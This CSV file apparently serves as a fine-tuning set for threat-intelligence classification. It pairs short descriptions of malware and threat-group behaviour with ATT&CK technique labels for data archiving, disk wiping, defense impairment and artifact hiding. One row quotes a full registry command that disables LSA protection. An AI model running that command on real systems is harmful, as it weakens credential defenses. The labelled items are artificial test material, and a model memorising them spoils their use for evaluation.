AppleSeed has compressed collected data before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Aria-body has used ZIP to compress data gathered on a compromised host.,['T1560 - Archive Collected Data'],fine_tune
BLUELIGHT can zip files before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Backdoor.Oldrea writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.,['T1560 - Archive Collected Data'],fine_tune
BloodHound can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk.,['T1560 - Archive Collected Data'],fine_tune
Bumblebee can compress data stolen from the Registry and volume shadow copies prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Cadelspy has the ability to compress stolen data into a .cab file.,['T1560 - Archive Collected Data'],fine_tune
Chrommme can encrypt and store on disk collected data before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Daserf hides collected data in password-protected .rar archives.,"['T1560 - Archive Collected Data', 'T1560.001 - Archive Collected Data: Archive via Utility']",fine_tune
Dragonfly 2.0 compressed data into .zip files prior to exfiltrating it.,['T1560 - Archive Collected Data'],fine_tune
Dragonfly has compressed data into .zip files prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Emotet has been observed encrypting the data it collects before sending it to the C2 server.,['T1560 - Archive Collected Data'],fine_tune
Empire can ZIP directories on the target system.,['T1560 - Archive Collected Data'],fine_tune
Epic encrypts collected data using a public key framework before sending it over the C2 channel. Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.,['T1560 - Archive Collected Data'],fine_tune
FELIXROOT encrypts collected data with AES and Base64 and then sends it to the C2 server.,['T1560 - Archive Collected Data'],fine_tune
"Following data collection, FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration.",['T1560 - Archive Collected Data'],fine_tune
Gold Dragon encrypts data using Base64 before being sent to the command and control server.,['T1560 - Archive Collected Data'],fine_tune
KONNI has encrypted data and files prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Kessel can RC4-encrypt credentials before sending to the C2.,['T1560 - Archive Collected Data'],fine_tune
"Lazarus Group has compressed exfiltrated data with RAR and used RomeoDelta malware to archive specified directories in .zip format, encrypt the .zip file, and upload it to C2.",['T1560 - Archive Collected Data'],fine_tune
LightNeuron contains a function to encrypt and store emails that it collects.,['T1560 - Archive Collected Data'],fine_tune
Lizar has encrypted data before sending it to the server.,['T1560 - Archive Collected Data'],fine_tune
Lurid can compress data before sending it.,['T1560 - Archive Collected Data'],fine_tune
NETWIRE has the ability to compress archived screenshots.,['T1560 - Archive Collected Data'],fine_tune
Patchwork encrypted the collected files' path with AES and then encoded them with base64.,['T1560 - Archive Collected Data'],fine_tune
PowerLess can encrypt browser database files prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
Proton zips up files before exfiltrating them.,['T1560 - Archive Collected Data'],fine_tune
ShimRatReporter used LZ compression to compress initial reconnaissance reports before sending to the C2.,['T1560 - Archive Collected Data'],fine_tune
"TAINTEDSCRIBE has used ""FileReadZipSend"" to compress a file and send to C2.",['T1560 - Archive Collected Data'],fine_tune
VERMIN encrypts the collected files using 3-DES.,['T1560 - Archive Collected Data'],fine_tune
WellMail can archive files on the compromised host.,['T1560 - Archive Collected Data'],fine_tune
"XCSSET will compress entire ""~/Desktop"" folders excluding all "".git"" folders, but only if the total data size is under 200MB.",['T1560 - Archive Collected Data'],fine_tune
Zebrocy  has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
menuPass has encrypted files and information before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
APT1 has used RAR to compress files before moving them outside of the victim network.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
APT3 has used tools to compress data before exfilling it.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
APT39 has used WinRAR and 7-Zip to compress an archive stolen data.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
APT41 created a RAR archive of targeted files for exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Aquatic Panda has used WinRAR to compress memory dumps prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
BRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"Calisto uses the ""zip -r"" command to compress the data collected on the local system.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Chimera has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"CopyKittens uses ZPP, a .NET console program, to compress files with ZIP.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Crutch has used the WinRAR utility to compress and encrypt stolen files.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"During FunnyDream, the threat actors used 7zr.exe to add collected files to an archive.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"During Operation CuckooBees, the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"During Operation Honeybee, the threat actors uses zip to pack collected files before exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"During Operation Wocao, threat actors archived collected files with WinRAR, prior to exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
DustySky can compress files via RAR while staging data to be exfiltrated.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Fox Kitten has used 7-Zip to archive data.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
GALLIUM used WinRAR to compress and encrypt stolen data prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
HAFNIUM has used 7-Zip and WinRAR to compress stolen files for exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
IceApple can encrypt and compress files using Gzip prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
InvisiMole uses WinRAR to compress data that is intended to be exfiltrated.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Ke3chang is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Kimsuky has used QuickZip to archive stolen files before exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Micropsia creates a RAR archive based on collected files on the victim's machine.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Mustang Panda has used RAR to create password-protected archives of collected documents prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Octopus has compressed data before exfiltrating it using a tool called Abbrevia.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
OopsIE compresses collected files with GZipStream before sending them to its C2 server.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
PUNCHBUGGY has Gzipped information and saved it to a random temp file before exfil.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
PoetRAT has the ability to compress files with zip.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
PoshC2 contains a module for compressing data using ZIP.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"PowerShower has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Pupy can compress data with Zip before sending it over C2.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Ramsay can compress and archive collected files using WinRAR.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Turian can use WinRAR to create a password-protected archive for files of interest.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
UNC2452 used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
WindTail has the ability to use the macOS built-in zip utility to archive files.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
iKitten will zip up the /Library/Keychains directory before exfiltrating it.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
BADFLICK has compressed data using the aPLib compression library.,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
Epic compresses the collected data with bzip2 before sending it to the C2 server.,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
Gelsemium can compress embedded executables with the zlib library.,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
InvisiMole can use zlib to compress and decompress data.,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
TajMahal has the ability to use the open source libraries XZip/Xunzip and zlib to compress files.,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
"Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.,['T1560.003 - Archive via Custom Method'],fine_tune
Agent.btz saves system information into an XML file that is then XOR-encoded.,['T1560.003 - Archive via Custom Method'],fine_tune
BLUELIGHT has encoded data into a binary blob using XOR.,['T1560.003 - Archive via Custom Method'],fine_tune
CopyKittens encrypts data with a substitute cipher prior to exfiltration.,['T1560.003 - Archive via Custom Method'],fine_tune
"FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.",['T1560.003 - Archive via Custom Method'],fine_tune
FunnyDream has compressed collected files with zLib and encrypted them using an XOR operation with the string key from the command line or `qwerasdf` if the command line argument doesn’t contain the key. File names are obfuscated using XOR with the same key as the compressed file content.,['T1560.003 - Archive via Custom Method'],fine_tune
HAWKBALL has encrypted data with XOR before sending it over the C2 channel.,['T1560.003 - Archive via Custom Method'],fine_tune
InvisiMole uses a variation of the XOR cipher to encrypt files before exfiltration.,['T1560.003 - Archive via Custom Method'],fine_tune
MESSAGETAP has XOR-encrypted and stored contents of SMS messages that matched its target list.,['T1560.003 - Archive via Custom Method'],fine_tune
Machete's collected data is encrypted with AES before exfiltration.,['T1560.003 - Archive via Custom Method'],fine_tune
Okrum has used a custom implementation of AES encryption to encrypt collected data.,['T1560.003 - Archive via Custom Method'],fine_tune
OopsIE compresses collected files with a simple character replacement scheme before sending them to its C2 server.,['T1560.003 - Archive via Custom Method'],fine_tune
OwaAuth DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.,['T1560.003 - Archive via Custom Method'],fine_tune
RGDoor encrypts files with XOR before sending them back to the C2 server.,['T1560.003 - Archive via Custom Method'],fine_tune
Ramsay can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR.,['T1560.003 - Archive via Custom Method'],fine_tune
Reaver encrypts collected data with an incremental XOR key prior to exfiltration.,['T1560.003 - Archive via Custom Method'],fine_tune
Rising Sun can archive data using RC4 encryption and Base64 encoding prior to exfiltration.,['T1560.003 - Archive via Custom Method'],fine_tune
SombRAT has encrypted collected data with AES-256 using a hardcoded key.,['T1560.003 - Archive via Custom Method'],fine_tune
Squirrelwaffle has encrypted collected data using a XOR-based algorithm.,['T1560.003 - Archive via Custom Method'],fine_tune
StrongPity can compress and encrypt archived files into multiple .sft files with a repeated xor encryption scheme.,['T1560.003 - Archive via Custom Method'],fine_tune
Stuxnet encrypts exfiltrated data via C2 with static 31-byte long XOR keys.,['T1560.003 - Archive via Custom Method'],fine_tune
HermeticWiper has the ability to corrupt disk partitions and obtain raw disk access to destroy data.,['T1561.001 - Disk Content Wipe'],fine_tune
"MegaCortex can wipe deleted data from all drives using ""cipher.exe"".",['T1561.001 - Disk Content Wipe'],fine_tune
RawDisk has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.,['T1561.001 - Disk Content Wipe'],fine_tune
StoneDrill can wipe the accessible physical or logical drives of the infected machine.,['T1561.001 - Disk Content Wipe'],fine_tune
WhisperGate can overwrite sectors of a victim host's hard drive at periodic offsets.,['T1561.001 - Disk Content Wipe'],fine_tune
APT37 has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).,['T1561.002 - Disk Structure Wipe'],fine_tune
APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable.,['T1561.002 - Disk Structure Wipe'],fine_tune
"CaddyWiper has the ability to destroy information about a physical drive's partitions including the MBR, GPT, and partition entries.",['T1561.002 - Disk Structure Wipe'],fine_tune
"HermeticWiper has the ability to corrupt disk partitions, damage the Master Boot Record (MBR), and overwrite the Master File Table (MFT) of all available physical drives.",['T1561.002 - Disk Structure Wipe'],fine_tune
KillDisk overwrites the first sector of the Master Boot Record with “0x00”.,['T1561.002 - Disk Structure Wipe'],fine_tune
Lazarus Group malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.,['T1561.002 - Disk Structure Wipe'],fine_tune
Sandworm Team has used the BlackEnergy KillDisk component to corrupt the infected system's master boot record.,['T1561.002 - Disk Structure Wipe'],fine_tune
Shamoon has been seen overwriting features of disk structure such as the MBR.,['T1561.002 - Disk Structure Wipe'],fine_tune
WhisperGate can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader.,['T1561.002 - Disk Structure Wipe'],fine_tune
"Magic Hound has disabled LSA protection on compromised hosts using `""reg"" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f`.",['T1562 - Impair Defenses'],fine_tune
Stuxnet reduces the integrity level of objects to allow write actions.,['T1562 - Impair Defenses'],fine_tune
APT29 used the service control manager on a remote system to disable services associated with security monitoring products.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Agent Tesla has the capability to kill any running analysis processes and AV software.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Aquatic Panda has attempted to stop endpoint detection and response (EDR) tools on compromised systems.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
BRONZE BUTLER has incorporated code into several tools that attempts to terminate anti-virus processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Babuk can stop anti-virus services on a compromised host.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Brave Prince terminates antimalware processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Carberp has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
ChChes can alter the victim's proxy configuration.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Clop can uninstall or disable security products.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Cobalt Strike has the ability to use Smart Applet attacks to disable the Java SecurityManager sandbox.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Conficker terminates various services related to system security and Windows.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
DarkComet can disable Security Center functions like anti-virus.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Diavol can attempt to stop security software.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Donut can patch Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), as well as exit-related Native API functions to avoid process termination.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"During Night Dragon, threat actors disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors also disabled proxy settings to allow direct communication from victims to the Internet.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Ebury can disable SELinux Role-Based Access Control and deactivate PAM modules.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Egregor has disabled Windows Defender to evade protections.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"FIN6 has deployed a utility script named ""kill.bat"" to disable anti-virus.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Gold Dragon terminates anti-malware processes if they’re found running on the system.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Goopy has the ability to disable Microsoft Outlook's security policies to disable macro warnings.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Grandoreiro can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"H1N1 kills and disables services for Windows Security Center, and Windows Defender.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
HDoor kills anti-virus found on the victim.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Hildegard has modified DNS resolvers to evade DNS monitoring tools.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Imminent Monitor has a feature to disable Windows Task Manager.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Indrik Spider used PsExec to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
JPIN can lower security settings by changing Registry keys.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
KOCTOPUS will attempt to delete or disable all Registry keys and scheduled tasks related to Microsoft Security Defender and Security Essentials.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Kimsuky has been observed turning off Windows Security Center and can hide the AV software window from the view of the infected user.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Lazarus Group malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, Lazarus Group malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services..",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Metamorfo has a function to kill processes associated with defenses and can prevent certain processes from launching.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Meteor can attempt to uninstall Kaspersky Antivirus or remove the Kaspersky license; it can also add all files and folders related to the attack to the Windows Defender exclusion list.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
MuddyWater can disable the system's local proxy settings.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
NanHaiShu can change Internet Explorer settings to reduce warnings about malware activity.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
NanoCore can modify the victim's anti-virus.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Night Dragon has disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
POWERSTATS can disable Microsoft Office Protected View by changing Registry keys.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Proton kills security tools like Wireshark that are running.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Pysa has the capability to stop antivirus services and disable Windows Defender.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
QakBot has the ability to modify the Registry to add its binaries to the Windows Defender exclusion list.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
REvil can connect to and disable the Symantec server on the victim's network.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
RobbinHood will search for Windows services that are associated with antivirus software on the system and kill the process.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Ryuk has stopped services related to anti-virus.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
SILENTTRINITY's `amsiPatch.py` module can disable Antimalware Scan Interface (AMSI) functions.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
SUNBURST attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Skidmap has the ability to set SELinux to permissive mode.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
SslMM identifies and kills anti-malware processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
TA505 has used malware to disable Windows Defender.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"TeamTNT has disabled and uninstalled security tools such as Alibaba, Tencent, and BMC cloud monitoring agents on cloud-based infrastructure.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
TinyZBot can disable Avira anti-virus.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
TrickBot can disable Windows Defender.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Turla has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
UNC2452 used the service control manager on a remote system to disable services associated with security monitoring products.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Unknown Logger has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
WarzoneRAT can disarm Windows Defender during the UAC process to evade detection.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
WhisperGate can download and execute AdvancedRun.exe to disable the Windows Defender Theat Protection service and set an exclusion path for the C:\ drive.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Wizard Spider has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
ZxShell can kill AV products' processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"macOS.OSAMiner has searched for the Activity Monitor process in the System Events process list and kills the process if running. macOS.OSAMiner also searches the operating system's `install.log` for apps matching its hardcoded list, killing all matching process names.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"APT29 used ""AUDITPOL"" to prevent the collection of audit logs.",['T1562.002 - Impair Defenses: Disable Windows Event Logging'],fine_tune
Sandworm Team has disabled event logging on compromised systems.,['T1562.002 - Impair Defenses: Disable Windows Event Logging'],fine_tune
"UNC2452 used ""AUDITPOL"" to prevent the collection of audit logs.",['T1562.002 - Impair Defenses: Disable Windows Event Logging'],fine_tune
Wevtutil can be used to disable specific event logs on the system.,['T1562.002 - Impair Defenses: Disable Windows Event Logging'],fine_tune
"APT29 used ""netsh"" to configure firewall rules that limited certain UDP outbound packets.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"APT38 have created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Carbanak may use netsh to add local firewall rule exceptions.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Dragonfly has disabled host-based firewalls. The group has also globally opened port 3389.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"During Operation Wocao, threat actors used PowerShell to add and delete rules in the Windows firewall.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Grandoreiro can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
HARDRAIN opens the Windows Firewall to modify incoming connections.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
HOPLIGHT has modified the firewall using netsh.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
InvisiMole has a command to disable routing and the Firewall on the victim’s machine.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Kasidet has the ability to change firewall settings to allow a plug-in to be downloaded.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Moses Staff has used batch scripts that can disable the Windows firewall on specific remote machines.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
NanoCore can modify the victim's firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Operation Wocao has used PowerShell to add and delete rules in the Windows firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Remsec can add or remove applications or ports on the Windows firewall or disable it entirely.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Rocke used scripts which killed processes and added firewall rules to block traffic related to other cryptominers.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"TeamTNT has disabled ""iptables"".",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"The ""ZR"" variant of BACKSPACE will check to see if known host-based firewalls are installed on the infected systems. BACKSPACE will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
njRAT has modified the Windows firewall to allow itself to communicate through the firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
"Waterbear can hook the ""ZwOpenProcess"" and ""GetExtendedTcpTable"" APIs called by the process of a security product to hide PIDs and TCP records from detection.",['T1562.006 - Impair Defenses: Indicator Blocking'],fine_tune
Axiom has targeted victims with remote administration tools including RDP.,['T1563.002 - Remote Service Session Hijacking: RDP Hijacking'],fine_tune
WannaCry enumerates current remote desktop sessions and tries to execute the malware on each session.,['T1563.002 - Remote Service Session Hijacking: RDP Hijacking'],fine_tune
"Bundlore uses the ""mktemp"" utility to make unique file and directory names for payloads, such as ""TMP_DIR=`mktemp -d -t x"".",['T1564 - Hide Artifacts'],fine_tune
"OSX/Shlayer has used the ""mktemp"" utility to make random and unique filenames for payloads, such as ""export tmpDir=""$(mktemp -d /tmp/XXXXXXXXXXXX)"""" or ""mktemp -t Installer"".",['T1564 - Hide Artifacts'],fine_tune
APT32's macOS backdoor hides the clientID file via a chflags function.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"AppleJeus has added a leading ""."" to plist filenames, unlisting them from the Finder app and default Terminal directory listings.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Attor can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Before exfiltration, Okrum's backdoor has used hidden files to store logs and outputs from backdoor commands.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Carberp has created a hidden file in the Startup folder of the current user.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Clambling has the ability to set its file attributes to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
EnvyScout can use hidden directories and files to hide malicious executables.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Explosive has commonly set file and path attributes to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"FruitFly saves itself with a leading ""."" to make it a hidden file.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Imminent Monitor has a dynamic debugging feature to set the file attribute to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
InvisiMole can create hidden system directories.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Lazarus Group has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"LoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to ""hidden"".",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"MacSpy stores itself in ""~/Library/.DS_Stores/""",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Machete has the capability to exfiltrate stolen data to a hidden folder on a removable drive.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Mustang Panda's PlugX variant has created a hidden folder on USB drives named ""RECYCLE.BIN"" to store malicious executables and collected data.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
NETWIRE can copy itself to and launch itself from hidden folders.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
OSX/Shlayer has executed a .command script from a hidden directory in a mounted DMG.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
OSX_OCEANLOTUS.D sets the main loader file’s attributes to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
PlugX can modify the characteristics of folders to hide them from the compromised user.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
PoetRAT has the ability to hide and unhide files.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"QuasarRAT has the ability to set file attributes to ""hidden"" to hide files from the compromised user's view in Windows File Explorer.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Rising Sun can modify file attributes to hide files.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Rocke downloaded a file ""libprocesshider"", which could hide files on the target system.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
SLOTHFULMEDIA has been created with a hidden attribute to insure it's not visible to the victim.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"The Komplex payload is stored in a hidden directory at ""/Users/Shared/.local/kextd"".",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"ThiefQuest hides a copy of itself in the user's ""~/Library"" directory by using a ""."" at the beginning of the file name followed by 9 random characters.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Tropic Trooper has created a hidden directory under ""C:\ProgramData\Apple\Updates\"" and ""C:\Users\Public\Documents\Flash\"".",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"WannaCry uses ""attrib +h"" to make some of its files hidden.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
